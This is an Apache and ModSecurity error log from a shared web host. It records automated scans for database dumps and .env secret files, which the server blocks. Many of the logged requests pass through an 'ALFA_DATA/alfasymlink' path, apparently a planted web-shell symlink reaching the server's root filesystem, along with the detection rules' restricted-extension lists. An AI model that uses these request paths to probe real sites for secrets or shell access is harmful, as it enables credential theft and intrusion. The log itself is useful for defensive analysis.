[Sat Oct 24 14:52:06.169862 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 44.221.105.234:25495] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource4_wc
[Sat Oct 24 14:52:06.509031 2026] [security2:error] [pid 2677843:tid 2677843] [client 154.37.80.209:18256] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "atz-VorDEr-C1RJ7dLmApAAAAAg"]
[Sat Oct 24 14:52:06.509464 2026] [security2:error] [pid 2677843:tid 2677843] [client 154.37.80.209:18256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/dump.sql"] [unique_id "atz-VorDEr-C1RJ7dLmApAAAAAg"]
[Sat Oct 24 14:52:06.510427 2026] [security2:error] [pid 2677843:tid 2677843] [client 154.37.80.209:18256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atz-VorDEr-C1RJ7dLmApAAAAAg"]
[Sat Oct 24 14:52:07.546407 2026] [security2:error] [pid 2677843:tid 2677843] [client 154.37.80.209:18256] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "atz-V4rDEr-C1RJ7dLmApQAAAAg"]
[Sat Oct 24 14:52:07.546838 2026] [security2:error] [pid 2677843:tid 2677843] [client 154.37.80.209:18256] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/db.sql"] [unique_id "atz-V4rDEr-C1RJ7dLmApQAAAAg"]
[Sat Oct 24 14:52:07.547795 2026] [security2:error] [pid 2677843:tid 2677843] [client 154.37.80.209:18256] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atz-V4rDEr-C1RJ7dLmApQAAAAg"]
[Sat Oct 24 14:52:26.350769 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.163.136.244:11514] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:52:30.157091 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 52.205.222.214:36097] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:52:34.195095 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.233.219.155:5046] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:52:38.165551 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 34.239.197.197:28873] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:52:50.210141 2026] [security2:error] [pid 2677788:tid 2677788] [client 216.244.66.250:47042] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "atz-gmHlETSj29Thy_T7VAAAAAM"]
[Sat Oct 24 14:52:50.210486 2026] [security2:error] [pid 2677788:tid 2677788] [client 216.244.66.250:47042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "atz-gmHlETSj29Thy_T7VAAAAAM"]
[Sat Oct 24 14:52:50.210776 2026] [security2:error] [pid 2677788:tid 2677788] [client 216.244.66.250:47042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/chrony.conf"] [unique_id "atz-gmHlETSj29Thy_T7VAAAAAM"]
[Sat Oct 24 14:52:54.259962 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 18.215.24.66:51690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:01.0/firmware_node/PNP0400:00/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1a/eject
[Sat Oct 24 14:53:05.314232 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.8:33472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/sanity_checks
[Sat Oct 24 14:53:06.344587 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 54.225.98.148:29531] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/slots/29/module/uevent
[Sat Oct 24 14:53:07.788069 2026] [authz_core:error] [pid 2678927:tid 2678927] [client 51.254.49.97:41705] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 14:53:10.162821 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 3.93.211.16:14679] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:53:18.166834 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 23.23.214.190:36464] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:53:23.115415 2026] [authz_core:error] [pid 2684557:tid 2684557] [client 47.96.137.77:37048] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini
[Sat Oct 24 14:53:30.204835 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 34.224.132.215:2892] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:53:34.223527 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.208.11.93:36245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:53:36.467525 2026] [security2:error] [pid 2684559:tid 2684559] [client 153.75.81.83:60900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz-sGkXczIhwr7_wp9DuAAAAA0"]
[Sat Oct 24 14:53:36.467781 2026] [security2:error] [pid 2684559:tid 2684559] [client 153.75.81.83:60900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz-sGkXczIhwr7_wp9DuAAAAA0"]
[Sat Oct 24 14:53:36.468079 2026] [security2:error] [pid 2684559:tid 2684559] [client 153.75.81.83:60900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz-sGkXczIhwr7_wp9DuAAAAA0"]
[Sat Oct 24 14:53:36.537149 2026] [security2:error] [pid 2684559:tid 2684559] [client 153.75.81.83:60900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atz-sGkXczIhwr7_wp9DuQAAAA0"]
[Sat Oct 24 14:53:36.537392 2026] [security2:error] [pid 2684559:tid 2684559] [client 153.75.81.83:60900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atz-sGkXczIhwr7_wp9DuQAAAA0"]
[Sat Oct 24 14:53:36.537697 2026] [security2:error] [pid 2684559:tid 2684559] [client 153.75.81.83:60900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atz-sGkXczIhwr7_wp9DuQAAAA0"]
[Sat Oct 24 14:53:36.657317 2026] [security2:error] [pid 2684559:tid 2684559] [client 153.75.81.83:60900] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atz-sGkXczIhwr7_wp9DugAAAA0"]
[Sat Oct 24 14:53:36.657585 2026] [security2:error] [pid 2684559:tid 2684559] [client 153.75.81.83:60900] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atz-sGkXczIhwr7_wp9DugAAAA0"]
[Sat Oct 24 14:53:36.657921 2026] [security2:error] [pid 2684559:tid 2684559] [client 153.75.81.83:60900] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atz-sGkXczIhwr7_wp9DugAAAA0"]
[Sat Oct 24 14:53:38.364101 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 34.227.234.246:48945] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:53:39.695110 2026] [security2:error] [pid 2677775:tid 2677775] [client 153.75.81.83:60906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz-sw5nrLV5krwbFOTxVgAAAA4"]
[Sat Oct 24 14:53:39.695370 2026] [security2:error] [pid 2677775:tid 2677775] [client 153.75.81.83:60906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz-sw5nrLV5krwbFOTxVgAAAA4"]
[Sat Oct 24 14:53:39.695653 2026] [security2:error] [pid 2677775:tid 2677775] [client 153.75.81.83:60906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atz-sw5nrLV5krwbFOTxVgAAAA4"]
[Sat Oct 24 14:53:39.761743 2026] [security2:error] [pid 2677775:tid 2677775] [client 153.75.81.83:60906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atz-sw5nrLV5krwbFOTxVwAAAA4"]
[Sat Oct 24 14:53:39.761977 2026] [security2:error] [pid 2677775:tid 2677775] [client 153.75.81.83:60906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atz-sw5nrLV5krwbFOTxVwAAAA4"]
[Sat Oct 24 14:53:39.762321 2026] [security2:error] [pid 2677775:tid 2677775] [client 153.75.81.83:60906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "atz-sw5nrLV5krwbFOTxVwAAAA4"]
[Sat Oct 24 14:53:39.821910 2026] [security2:error] [pid 2677775:tid 2677775] [client 153.75.81.83:60906] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atz-sw5nrLV5krwbFOTxWAAAAA4"]
[Sat Oct 24 14:53:39.822154 2026] [security2:error] [pid 2677775:tid 2677775] [client 153.75.81.83:60906] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atz-sw5nrLV5krwbFOTxWAAAAA4"]
[Sat Oct 24 14:53:39.822525 2026] [security2:error] [pid 2677775:tid 2677775] [client 153.75.81.83:60906] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "atz-sw5nrLV5krwbFOTxWAAAAA4"]
[Sat Oct 24 14:53:45.001377 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.196:42398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fanotify_event/order
[Sat Oct 24 14:53:46.225382 2026] [ssl:error] [pid 2677843:tid 2677843] (5)Input/output error: [client 34.231.156.59:63085] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:53:50.150193 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 44.207.207.36:35329] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:53:58.226998 2026] [core:error] [pid 2684559:tid 2684559] (13)Permission denied: [client 3.232.39.98:34156] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:10/eject
[Sat Oct 24 14:54:06.170007 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.210.114.189:2532] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:54:12.936116 2026] [security2:error] [pid 2684517:tid 2684517] [client 20.194.0.112:8182] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "www.curso-de-ventas.com"] [uri "/t.php"] [unique_id "atz-1MCPy-URSwxIVqbrMwAAAAI"]
[Sat Oct 24 14:54:12.936177 2026] [security2:error] [pid 2684517:tid 2684517] [client 20.194.0.112:8182] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "www.curso-de-ventas.com"] [uri "/t.php"] [unique_id "atz-1MCPy-URSwxIVqbrMwAAAAI"]
[Sat Oct 24 14:54:14.147700 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 3.90.73.206:53537] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:54:18.346671 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 34.234.200.207:35322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/virtual/tty/console/subsystem/tty22/subsystem/ttyS1/line
[Sat Oct 24 14:54:20.706250 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 185.191.171.10:55706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/cpu_slabs
[Sat Oct 24 14:54:22.248517 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 44.205.192.249:25653] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:54:46.155440 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 44.193.115.232:32450] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:54:50.191697 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.3.127.170:64387] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:54:58.161299 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 52.3.155.146:40747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:55:02.346781 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.88.84.219:36117] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:55:06.144975 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 52.3.155.146:52259] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:55:14.145827 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 34.206.249.188:19882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:55:22.152063 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.27.153.9:18730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:55:33.172678 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 16.216.88.173:8192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/restorepkg
[Sat Oct 24 14:55:42.512366 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 34.206.249.188:50086] AH02013: coalesce failed to read from data bucket
